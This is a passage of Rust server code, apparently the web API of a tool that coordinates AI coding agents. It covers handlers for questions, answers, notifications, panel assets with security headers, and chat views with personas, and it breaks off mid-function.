7675 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7676 .collect()
7677}
7678
7679fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7689 if !q.status.open() {
7690 return None;
7691 }
7692 if q.cwd.is_none()
7693 && q.deputy.is_none()
7694 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7695 {
7696 return crate::deputy::kind_of(q).map(|_| "nobody");
7697 }
7698 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7699 Some(_) if q.deputy.is_some() => "deputy",
7700 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7701 Some(_) => "asker",
7702 None => "nobody",
7703 })
7704}
7705
7706async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7712 blocking(move || {
7713 let questions = ui.questions.list();
7714 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7715 Ok(Json(
7716 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7717 .into_iter()
7718 .map(|view| view.with_origin(&tasks, &talks, &watches))
7719 .collect(),
7720 ))
7721 })
7722 .await
7723}
7724
7725async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7727 blocking(move || {
7728 Ok(Json(question_views(
7729 ui.questions.list(),
7730 &ui.questions,
7731 || deputy_config(&ui.repo),
7732 )))
7733 })
7734 .await
7735}
7736
7737fn question_record_revision(question: &Question) -> String {
7738 use std::hash::{Hash as _, Hasher as _};
7739 let mut hash = std::hash::DefaultHasher::new();
7740 serde_json::to_vec(question)
7741 .expect("serializable question")
7742 .hash(&mut hash);
7743 format!("{:016x}", hash.finish())
7744}
7745
7746#[derive(Serialize)]
7747struct QuestionOriginView {
7748 id: String,
7749 record_revision: String,
7750 origin_chat: Option<String>,
7751 origin_chat_closed: bool,
7752 can_consult_chat: bool,
7753}
7754
7755async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7756 blocking(move || {
7757 let questions = ui.questions.list();
7758 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7759 Ok(Json(
7760 questions
7761 .into_iter()
7762 .map(|question| {
7763 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7764 let can_consult_chat = consult.is_some();
7765 let talk = crate::consult::associated_talk_with_watches(
7766 &tasks, &talks, &question, &watches,
7767 );
7768 QuestionOriginView {
7769 record_revision: question_record_revision(&question),
7770 id: question.id,
7771 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7772 origin_chat: talk.map(|talk| talk.id),
7773 can_consult_chat,
7774 }
7775 })
7776 .collect(),
7777 ))
7778 })
7779 .await
7780}
7781
7782type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7783
7784fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7788 fn task_for_run(
7789 ui: &Ui,
7790 index: &mut Option<Vec<Arc<TaskRelation>>>,
7791 run: &str,
7792 loaded: &HashMap<String, Task>,
7793 ) -> ApiResult<Option<Task>> {
7794 if !plain_record_id(run) {
7795 return Ok(None);
7796 }
7797 if index.is_none() {
7798 *index = Some(ui.indexed_tasks()?);
7799 }
7800 Ok(index
7801 .as_ref()
7802 .expect("loaded index")
7803 .iter()
7804 .find(|task| task.runs.iter().any(|id| id == run))
7805 .and_then(|task| {
7806 loaded
7807 .get(&task.id)
7808 .cloned()
7809 .or_else(|| ui.queue.get(&task.id).ok())
7810 })
7811 .filter(|task| task.runs.iter().any(|id| id == run)))
7812 }
7813 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7814 plain_record_id(id)
7815 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7816 .flatten()
7817 .filter(|task| task.id == id)
7818 };
7819 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7820 let mut index = None;
7821 let mut tasks = HashMap::new();
7822 let mut talks = HashMap::new();
7823 for question in questions {
7824 for reference in crate::consult::question_task_refs(question, &watches) {
7825 let mut current = match reference {
7826 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7827 crate::consult::QuestionTaskRef::Run(id) => {
7828 task_for_run(ui, &mut index, id, &tasks)?
7829 }
7830 };
7831 let mut seen = HashSet::new();
7832 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7833 let Some(task) = current.take() else {
7834 break;
7835 };
7836 if !seen.insert(task.id.clone()) {
7837 break;
7838 }
7839 let chat = task.chat_talk().map(str::to_owned);
7840 let followup = task.followup.clone();
7841 tasks.insert(task.id.clone(), task);
7842 if let Some(chat) = chat {
7843 if plain_record_id(&chat)
7844 && !talks.contains_key(&chat)
7845 && let Ok(talk) = ui.talks.get(&chat)
7846 {
7847 talks.insert(chat, talk);
7848 }
7849 break;
7850 }
7851 let Some(followup) = followup else {
7852 break;
7853 };
7854 current = match followup.origin_task {
7855 Some(id) => direct_task(&id, &tasks),
7856 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7857 };
7858 }
7859 }
7860 }
7861 let mut tasks: Vec<Task> = tasks.into_values().collect();
7862 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7863 Ok((tasks, talks.into_values().collect(), watches))
7864}
7865
7866async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7869 blocking(move || {
7870 let items = ui.notices.list();
7871 let unread = items.iter().filter(|n| n.unread()).count();
7872 let items: Vec<_> = items
7873 .into_iter()
7874 .map(|n| {
7875 let question = crate::notices::answerable_question(&n, &ui.questions);
7876 let mut item = serde_json::to_value(n)?;
7877 item["answerable_question"] = serde_json::json!(question);
7878 Ok(item)
7879 })
7880 .collect::<anyhow::Result<_>>()?;
7881 Ok(Json(
7882 serde_json::json!({ "unread": unread, "items": items }),
7883 ))
7884 })
7885 .await
7886}
7887
7888fn notice_error(e: anyhow::Error) -> ApiError {
7889 ApiError::not_found(format!("{e:#}"))
7892}
7893
7894async fn notification_read(
7896 State(ui): State<Arc<Ui>>,
7897 Path(id): Path<String>,
7898) -> ApiResult<Json<Notice>> {
7899 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7900}
7901
7902async fn notification_dismiss(
7904 State(ui): State<Arc<Ui>>,
7905 Path(id): Path<String>,
7906) -> ApiResult<Json<Notice>> {
7907 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7908}
7909
7910async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7912 blocking(move || {
7913 let changed = ui.notices.mark_all_read()?;
7914 Ok(Json(serde_json::json!({ "marked": changed })))
7915 })
7916 .await
7917}
7918
7919#[derive(Debug, Default, Deserialize)]
7925#[serde(default, deny_unknown_fields)]
7926struct NewAnswer {
7927 choice: Option<String>,
7928 text: Option<String>,
7929 talk: Option<String>,
7930 head: Option<String>,
7931}
7932
7933async fn question_answer(
7934 State(ui): State<Arc<Ui>>,
7935 Path(id): Path<String>,
7936 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7937) -> ApiResult<Json<QuestionView>> {
7938 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7939 let answer = match (body.choice, body.text) {
7940 (Some(c), None) => Answer::Choice(c),
7941 (None, Some(t)) => Answer::Text(t),
7942 (Some(_), Some(_)) => {
7943 return Err(ApiError::bad_request(
7944 "send either `choice` or `text`, not both",
7945 ));
7946 }
7947 (None, None) => {
7948 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7949 }
7950 };
7951
7952 blocking(move || {
7953 let id = resolve_question(&ui.questions, &id)?;
7954 let q = ui
7955 .questions
7956 .get(&id)
7957 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7958 if !q.status.open() {
7959 return Err(ApiError::conflict(format!(
7963 "question {} is already {}",
7964 q.short(),
7965 q.status.as_str()
7966 )));
7967 }
7968 let cfg = deputy_config(&ui.repo);
7972 let (q, ()) = ui
7973 .questions
7974 .update(&q.id, |r| {
7975 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7976 if r.routed_task.is_some()
7979 && r.merge_target.is_some()
7980 && merge
7981 && (body.talk.is_some() || body.head.is_some())
7982 {
7983 let talk_id = body
7984 .talk
7985 .as_deref()
7986 .context("approval button requires its chat")?;
7987 let head = body
7988 .head
7989 .as_deref()
7990 .context("approval button requires the displayed head")?;
7991 let talk = ui.talks.get(talk_id)?;
7992 anyhow::ensure!(talk.status.open(), "approval chat is closed");
7993 r.answer_chat_button(answer, talk_id, head)
7994 } else {
7995 r.answer(answer)
7996 }
7997 })
7998 .map_err(ApiError::bad_request_from)?;
7999 let (tasks, talks, watches) =
8000 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8001 Ok(Json(
8002 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8003 ))
8004 })
8005 .await
8006}
8007
8008fn question_text_error(e: anyhow::Error) -> ApiError {
8010 let reason = e
8011 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8012 .map(|e| e.reason);
8013 let error = ApiError::bad_request_from(e);
8014 if let Some(reason) = reason {
8015 ApiError {
8016 text_reason: Some(reason),
8017 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8018 }
8019 } else {
8020 error
8021 }
8022}
8023
8024#[derive(Debug, Deserialize)]
8026#[serde(deny_unknown_fields)]
8027struct NewSay {
8028 body: String,
8029}
8030
8031async fn question_say(
8041 State(ui): State<Arc<Ui>>,
8042 Path(id): Path<String>,
8043 body: std::result::Result<Json<NewSay>, JsonRejection>,
8044) -> ApiResult<Json<QuestionView>> {
8045 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8046 blocking(move || {
8047 let id = resolve_question(&ui.questions, &id)?;
8048 let q = ui
8049 .questions
8050 .get(&id)
8051 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8052 if !q.status.open() {
8053 return Err(ApiError::conflict(format!(
8057 "question {} is already {}",
8058 q.short(),
8059 q.status.as_str()
8060 )));
8061 }
8062 let cfg = deputy_config(&ui.repo);
8065 let (q, ()) = ui
8066 .questions
8067 .update(&q.id, |r| {
8068 if body.body.trim().is_empty() {
8069 return r.say(body.body);
8070 }
8071 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8072 r.say(body.body)
8073 })
8074 .map_err(question_text_error)?;
8075 let (tasks, talks, watches) =
8076 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8077 Ok(Json(
8078 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8079 ))
8080 })
8081 .await
8082}
8083
8084async fn admitted<T: Send + 'static>(
8087 admission: AdmissionGuard,
8088 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8089) -> ApiResult<T> {
8090 tokio::spawn(async move {
8091 let result = work.await;
8092 drop(admission);
8093 result
8094 })
8095 .await
8096 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8097}
8098
8099async fn question_consult(
8108 State(ui): State<Arc<Ui>>,
8109 Path(id): Path<String>,
8110) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8111 let admission = ui.begin_admission()?;
8112 admitted(admission, async move {
8113 let (q, tasks, talks, watches, talk, cfg) = blocking({
8114 let ui = Arc::clone(&ui);
8115 move || {
8116 let id = resolve_question(&ui.questions, &id)?;
8117 let q = ui.questions.get(&id).map_err(|e| {
8118 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8119 })?;
8120 if !q.status.open() {
8121 return Err(ApiError::conflict(format!(
8122 "question {} is already {}",
8123 q.short(),
8124 q.status.as_str()
8125 )));
8126 }
8127 let (tasks, talks, watches) =
8128 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8129 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8130 return Err(ApiError::conflict(format!(
8131 "question {} has no chat to ask",
8132 q.short()
8133 )));
8134 };
8135 let cfg = if q.consult.is_none() {
8139 Some(Config::discover(&talk.repo, None)?.0)
8140 } else {
8141 None
8142 };
8143 Ok((q, tasks, talks, watches, talk, cfg))
8144 }
8145 })
8146 .await?;
8147 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8148 .await
8149 .map_err(ApiError::from)?;
8150 let (view, reclaimed, submitted) = blocking({
8151 let ui = Arc::clone(&ui);
8152 move || {
8153 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8154 let claim = if fresh {
8155 match ui.begin_queued_talk_turn(&talk.id)? {
8156 Some(turn_guard) => {
8157 let talk = ui.talks.get(&talk.id)?;
8158 let cfg = match cfg {
8159 Some(cfg) => cfg,
8160 None => Config::discover(&talk.repo, None)?.0,
8161 };
8162 Some((talk, cfg, turn_guard))
8163 }
8164 None => None,
8165 }
8166 } else {
8167 None
8168 };
8169 let q = ui.questions.get(&q.id)?;
8170 let cfg = deputy_config(&ui.repo);
8171 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8172 .with_origin(&tasks, &talks, &watches);
8173 Ok((view, claim, fresh.then_some(talk.id)))
8174 }
8175 })
8176 .await?;
8177 #[cfg(not(test))]
8178 {
8179 if let Some(id) = submitted {
8180 crate::consult::spawn_turn(&ui.talks, &id)
8181 .await
8182 .map_err(ApiError::from)?;
8183 }
8184 drop(reclaimed);
8185 }
8186 #[cfg(test)]
8187 let _ = submitted;
8188 #[cfg(test)]
8189 if let Some((talk, cfg, turn_guard)) = reclaimed {
8190 let talks = ui.talks.clone();
8191 let id = talk.id.clone();
8192 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8193 }
8194 Ok((StatusCode::ACCEPTED, Json(view)))
8195 })
8196 .await
8197}
8198
8199fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8201 if plain_record_id(id) && store.path_of(id).is_file() {
8202 return Ok(id.to_owned());
8203 }
8204 pick(
8205 store.list().into_iter().map(|q| q.id).collect(),
8206 id,
8207 "question",
8208 )
8209}
8210
8211async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8226 blocking(move || {
8227 let id = resolve_question(&ui.questions, &id)?;
8228 let Some(html) = ui.questions.panel_html(&id) else {
8229 return Err(ApiError::not_found(format!("question {id} has no panel")));
8230 };
8231 Ok(panel_response(
8232 "text/html; charset=utf-8",
8233 false,
8234 html.into_bytes(),
8235 ))
8236 })
8237 .await
8238}
8239
8240async fn question_asset(
8268 State(ui): State<Arc<Ui>>,
8269 Path((id, name)): Path<(String, String)>,
8270) -> ApiResult<Response> {
8271 if !crate::ask::valid_asset_name(&name) {
8274 return Err(ApiError::bad_request(format!(
8275 "`{name}` is not a usable asset name"
8276 )));
8277 }
8278 blocking(move || {
8279 let id = resolve_question(&ui.questions, &id)?;
8280 let asset = ui
8281 .questions
8282 .panel_asset(&id, &name)
8283 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8284 let Some(bytes) = asset else {
8285 return Err(ApiError::not_found(format!(
8286 "question {id} has no asset `{name}`"
8287 )));
8288 };
8289 Ok(panel_response(
8290 asset_content_type(&name),
8291 is_svg(&name),
8292 bytes,
8293 ))
8294 })
8295 .await
8296}
8297
8298fn asset_content_type(name: &str) -> &'static str {
8311 match extension(name).as_deref() {
8312 Some("png") => "image/png",
8313 Some("jpg" | "jpeg") => "image/jpeg",
8314 Some("gif") => "image/gif",
8315 Some("webp") => "image/webp",
8316 Some("svg") => "image/svg+xml",
8317 Some("css") => "text/css; charset=utf-8",
8318 Some("txt") => "text/plain; charset=utf-8",
8319 _ => "application/octet-stream",
8320 }
8321}
8322
8323fn is_svg(name: &str) -> bool {
8326 extension(name).as_deref() == Some("svg")
8327}
8328
8329fn extension(name: &str) -> Option<String> {
8331 name.rsplit_once('.')
8332 .map(|(_, ext)| ext.to_ascii_lowercase())
8333}
8334
8335fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8352 let mut res = (
8353 [
8354 (header::CONTENT_TYPE, content_type),
8355 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8356 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8357 (header::REFERRER_POLICY, "no-referrer"),
8358 ],
8359 body,
8360 )
8361 .into_response();
8362 if download {
8363 res.headers_mut().insert(
8364 header::CONTENT_DISPOSITION,
8365 HeaderValue::from_static("attachment"),
8366 );
8367 }
8368 res
8369}
8370
8371#[derive(Debug, Serialize)]
8377struct ChatApproval {
8378 question: String,
8379 target: crate::merge_decision::Target,
8380}
8381
8382#[derive(Debug, Serialize)]
8383struct TalkView {
8384 #[serde(flatten)]
8385 talk: Talk,
8386 turn_bodies_md: Vec<Vec<md::Node>>,
8387 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8389 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8390 merge_approvals: Vec<ChatApproval>,
8391 thinking: bool,
8399 context: talk::ContextUsage,
8403 operator_name: Option<String>,
8406 persona_name: Option<String>,
8408 persona_avatar: String,
8411 operator_avatar: String,
8413 magi_avatar: String,
8414}
8415
8416impl TalkView {
8417 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8420 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8421 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8422 }
8423
8424 fn with_config(
8427 talk: Talk,
8428 thinking: bool,
8429 cfg: Option<&Config>,
8430 home: &FsPath,
8431 cache: &id_links::IndexCache,
8432 ) -> Self {
8433 let references = cache.for_talk(home, &talk);
8434 Self::with_references(talk, thinking, cfg, home, &references)
8435 }
8436
8437 fn with_references(
8438 mut talk: Talk,
8439 thinking: bool,
8440 cfg: Option<&Config>,
8441 home: &FsPath,
8442 references: &id_links::IdIndex,
8443 ) -> Self {
8444 let snapshot = talk.clone();
8446 for (index, turn) in talk.turns.iter_mut().enumerate() {
8447 let original = &snapshot.turns[index];
8448 if turn.messages.is_empty() {
8449 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8450 turn.messages.push(talk::Message {
8451 sender: Some(talk::Sender::Magi),
8452 body: original.body.clone(),
8453 display: Some(display),
8454 attachments: original.attachments.clone(),
8455 reply: None,
8456 });
8457 }
8458 } else {
8459 for (i, message) in turn.messages.iter_mut().enumerate() {
8460 message.display =
8461 talk::notice_display(&snapshot, original, original.messages.get(i));
8462 if message.display.is_some() {
8463 message.sender = Some(talk::Sender::Magi);
8464 }
8465 }
8466 }
8467 }
8468 for message in &mut talk.pending_messages {
8469 if message.display.is_none()
8470 && (message.sender == Some(talk::Sender::Magi)
8471 || snapshot
8472 .completion_notices
8473 .iter()
8474 .any(|r| r.notice == message.body))
8475 {
8476 message.display = crate::prompt::legacy_notice_display(&message.body);
8477 if message.display.is_some() {
8478 message.sender = Some(talk::Sender::Magi);
8479 }
8480 }
8481 }
8482 if talk.pending_messages.is_empty()
8483 && snapshot
8484 .completion_notices
8485 .iter()
8486 .any(|r| r.notice == talk.pending)
8487 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8488 {
8489 talk.pending_messages.push(talk::Message {
8490 sender: Some(talk::Sender::Magi),
8491 display: Some(display),
8492 body: talk.pending.clone(),
8493 attachments: talk.pending_attachments.clone(),
8494 reply: None,
8495 });
8496 }
8497 let excerpts: Vec<Vec<Option<String>>> = talk
8498 .turns
8499 .iter()
8500 .map(|turn| {
8501 turn.messages
8502 .iter()
8503 .map(|m| {
8504 m.display
8505 .as_ref()
8506 .map(|d| d.facts.chars().take(240).collect())
8507 })
8508 .collect()
8509 })
8510 .collect();
8511 for turn in &mut talk.turns {
8512 let provenance = talk::sender(turn, None);
8513 turn.sender = Some(provenance);
8514 for message in &mut turn.messages {
8515 message.sender = Some(message.sender.unwrap_or(provenance));
8516 }
8517 }
8518 let senders: Vec<Vec<talk::Sender>> = talk
8520 .turns
8521 .iter()
8522 .map(|turn| {
8523 if turn.messages.is_empty() {
8524 vec![talk::sender(turn, None)]
8525 } else {
8526 turn.messages
8527 .iter()
8528 .map(|m| talk::sender(turn, Some(m)))
8529 .collect()
8530 }
8531 })
8532 .collect();
8533 for reply in talk
8534 .turns
8535 .iter_mut()
8536 .flat_map(|t| t.messages.iter_mut())
8537 .chain(talk.pending_messages.iter_mut())
8538 .filter_map(|m| m.reply.as_mut())
8539 {
8540 if let Some(Some(excerpt)) = excerpts
8541 .get(reply.target.turn)
8542 .and_then(|ms| ms.get(reply.target.message))
8543 {
8544 reply.excerpt = excerpt.clone();
8545 reply.sender = Some(talk::Sender::Magi);
8546 }
8547 if reply.sender.is_none() {
8548 reply.sender = senders
8549 .get(reply.target.turn)
8550 .and_then(|messages| messages.get(reply.target.message))
8551 .copied();
8552 }
8553 }
8554 let context = talk::context_usage(&talk, cfg);
8555 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8556 .turns
8557 .iter()
8558 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8559 .collect();
8560 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8561 .turns
8562 .iter()
8563 .map(|turn| {
8564 if turn.messages.is_empty() {
8565 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8566 } else {
8567 turn.messages
8568 .iter()
8569 .map(|message| {
8570 notice_markdown(
8571 message.sender.unwrap_or(talk::Sender::Operator),
8572 &message.body,
8573 message.display.as_ref(),
8574 )
8575 })
8576 .collect()
8577 }
8578 })
8579 .collect();
8580 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8581 .pending_messages
8582 .iter()
8583 .map(|message| {
8584 notice_markdown(
8585 message.sender.unwrap_or(talk::Sender::Operator),
8586 &message.body,
8587 message.display.as_ref(),
8588 )
8589 })
8590 .collect();
8591 for nodes in &mut turn_bodies_md {
8592 references.markdown(nodes);
8593 }
8594 for nodes in turn_messages_md
8595 .iter_mut()
8596 .flatten()
8597 .chain(pending_messages_md.iter_mut())
8598 .flatten()
8599 {
8600 references.markdown(nodes);
8601 }
8602 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8603 let persona_name = persona::find(specs, &talk.persona)
8604 .filter(|p| !p.is_default())
8605 .map(|p| p.name);
8606 let mut avatar_persona = persona::find(specs, &talk.persona)
8607 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8608 if avatar_persona.id != talk.persona
8610 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8611 {
8612 avatar_persona.id.clone_from(&talk.persona);
8613 avatar_persona.icon = None;
8614 }
8615 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8616 let approvals_store = ask::Questions::at(home.join("questions"));
8617 let merge_approvals = talk
8618 .notified
8619 .iter()
8620 .filter_map(|key| key.strip_prefix("question:"))
8621 .filter_map(|id| approvals_store.get(id).ok())
8622 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8623 .filter_map(|q| {
8624 Some(ChatApproval {
8625 question: q.id,
8626 target: q.merge_target?,
8627 })
8628 })
8629 .collect();
8630 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8631 Self {
8632 turn_bodies_md,
8633 turn_messages_md,
8634 pending_messages_md,
8635 merge_approvals,
8636 thinking,
8637 context,
8638 operator_name,
8639 persona_name,
8640 persona_avatar,
8641 magi_avatar: magi_icon_url(home),
8642 operator_avatar: operator_icon_url(home),
8643 talk,
8644 }
8645 }
8646}
8647
8648fn notice_markdown(
8650 sender: talk::Sender,
8651 body: &str,
8652 display: Option<&crate::prompt::NoticeDisplay>,
8653) -> Option<Vec<md::Node>> {
8654 if sender != talk::Sender::Magi {
8655 return None;
8656 }
8657 let text = if let Some(display) = display {
8658 display.facts.as_str()
8659 } else {
8660 if crate::prompt::is_completion_notice(body)
8663 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8664 {
8665 return None;
8666 }
8667 body.strip_prefix("magi: ").unwrap_or(body)
8668 };
8669 Some(md::to_nodes(text, &md::ImageBase::None))
8670}
8671
8672#[derive(Debug, Serialize)]
8677struct TalkDetailView {
8678 #[serde(flatten)]
8679 view: TalkView,
8680 tasks: Vec<TaskView>,
8681 task_progress: TalkTaskProgress,
8682 roster: Vec<RosterEntry>,
8685 personas: Vec<PersonaEntry>,
8688}
8689
8690#[derive(Debug, Serialize)]
8692struct TalkTaskProgress {
8693 state: &'static str,
8694 total: usize,
8695 done: usize,
8696 counts: std::collections::BTreeMap<&'static str, usize>,
8697 unfinished_ids: Vec<String>,
8698}
8699
8700fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8701 let mut counts = std::collections::BTreeMap::from([
8702 ("queued", 0),
8703 ("running", 0),
8704 ("done", 0),
8705 ("failed", 0),
8706 ("held", 0),
8707 ("blocked", 0),
8708 ("parked", 0),
8709 ]);
8710 let mut unfinished_ids = Vec::new();
8711 for task in tasks {
8712 *counts.entry(task.status.as_str()).or_default() += 1;
8713 if task.status != TaskStatus::Done {
8714 unfinished_ids.push(task.id.clone());
8715 }
8716 }
8717 TalkTaskProgress {
8718 state: if tasks.is_empty() {
8719 "none"
8720 } else if unfinished_ids.is_empty() {
8721 "complete"
8722 } else {
8723 "incomplete"
8724 },
8725 total: tasks.len(),
8726 done: tasks.len() - unfinished_ids.len(),
8727 counts,
8728 unfinished_ids,
8729 }
8730}
8731
8732#[derive(Debug, Serialize)]
8734struct PersonaEntry {
8735 id: String,
8736 name: String,
8737 avatar: String,
8739}
8740
8741#[derive(Debug, Serialize)]
8743struct RosterEntry {
8744 id: String,
8745 kind: AgentKind,
8746 runnable: bool,
8748}
8749
8750async fn talks_list(
8752 State(ui): State<Arc<Ui>>,
8753 Query(q): Query<ListQuery>,
8754 headers: header::HeaderMap,
8755) -> ApiResult<Json<Vec<TalkListView>>> {
8756 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8757 let limit = q.limit.unwrap_or(50).min(50);
8758 let ids = if let Some(ids) = q.ids {
8759 ids.split(',')
8760 .filter(|id| plain_record_id(id))
8761 .take(limit)
8762 .map(str::to_owned)
8763 .collect()
8764 } else {
8765 page_ids(&ui, true, PageQuery::default())?
8766 .0
8767 .into_iter()
8768 .take(limit)
8769 .collect()
8770 };
8771 Ok(Json(talk_rows(&ui, ids, &headers)))
8772 })
8773 .await
8774}
8775
8776#[derive(Debug, Default, Deserialize)]
8781#[serde(default)]
8782struct NewTalk {
8783 agent: Option<String>,
8784 repo: Option<PathBuf>,
8785 preferred_agent: Option<serde_json::Value>,
8789 persona: Option<serde_json::Value>,
8790 implementers: Option<serde_json::Value>,
8791}
8792
8793async fn talk_post(
8796 State(ui): State<Arc<Ui>>,
8797 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8798) -> ApiResult<impl IntoResponse> {
8799 let body = match body {
8803 Ok(Json(body)) => body,
8804 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8805 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8806 };
8807 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8808 let cfg = config_for(&repo).await?;
8809 let view = blocking(move || {
8810 let preferred = talk::Preferred {
8811 agent: body
8812 .preferred_agent
8813 .as_ref()
8814 .and_then(|v| v.as_str())
8815 .map(str::to_owned),
8816 persona: body
8817 .persona
8818 .as_ref()
8819 .and_then(|v| v.as_str())
8820 .map(str::to_owned),
8821 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8822 };
8823 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8824 let thinking = ui.is_thinking(&talk.id);
8825 Ok(TalkView::new(talk, thinking, &ui))
8826 })
8827 .await?;
8828 Ok((StatusCode::CREATED, Json(view)))
8829}
8830
8831async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8833 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8835 let id = resolve_talk(&ui.talks, &id)?;
8836 let talk = ui.talks.get(&id)?;
8837 let thinking = ui.is_thinking_observed(&id);
8838 Ok(Json(TalkView::with_references(
8841 talk,
8842 thinking,
8843 None,
8844 &ui.home,
8845 &id_links::IdIndex::default(),
8846 )))
8847 })
8848 .await
8849}
8850
8851async fn talk_sections(
8852 State(ui): State<Arc<Ui>>,
8853 Path(id): Path<String>,
8854) -> ApiResult<Json<serde_json::Value>> {
8855 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8856 let id = resolve_talk(&ui.talks, &id)?;
8857 let talk = ui.talks.get(&id)?;
8858 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8859 let task_progress = talk_task_progress(&tasks);
8860 let tasks: Vec<_> = tasks
8861 .into_iter()
8862 .map(|task| {
8863 serde_json::json!({
8864 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8865 })
8866 })
8867 .collect();
8868 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8869 let roster: Vec<_> = cfg
8870 .as_ref()
8871 .map(|cfg| {
8872 cfg.agents
8873 .iter()
8874 .map(|a| RosterEntry {
8875 id: a.id.clone(),
8876 kind: a.kind,
8877 runnable: agent::installed(a),
8878 })
8879 .collect()
8880 })
8881 .unwrap_or_default();
8882 let specs = cfg
8883 .as_ref()
8884 .map(|cfg| cfg.talk.personas.clone())
8885 .unwrap_or_default();
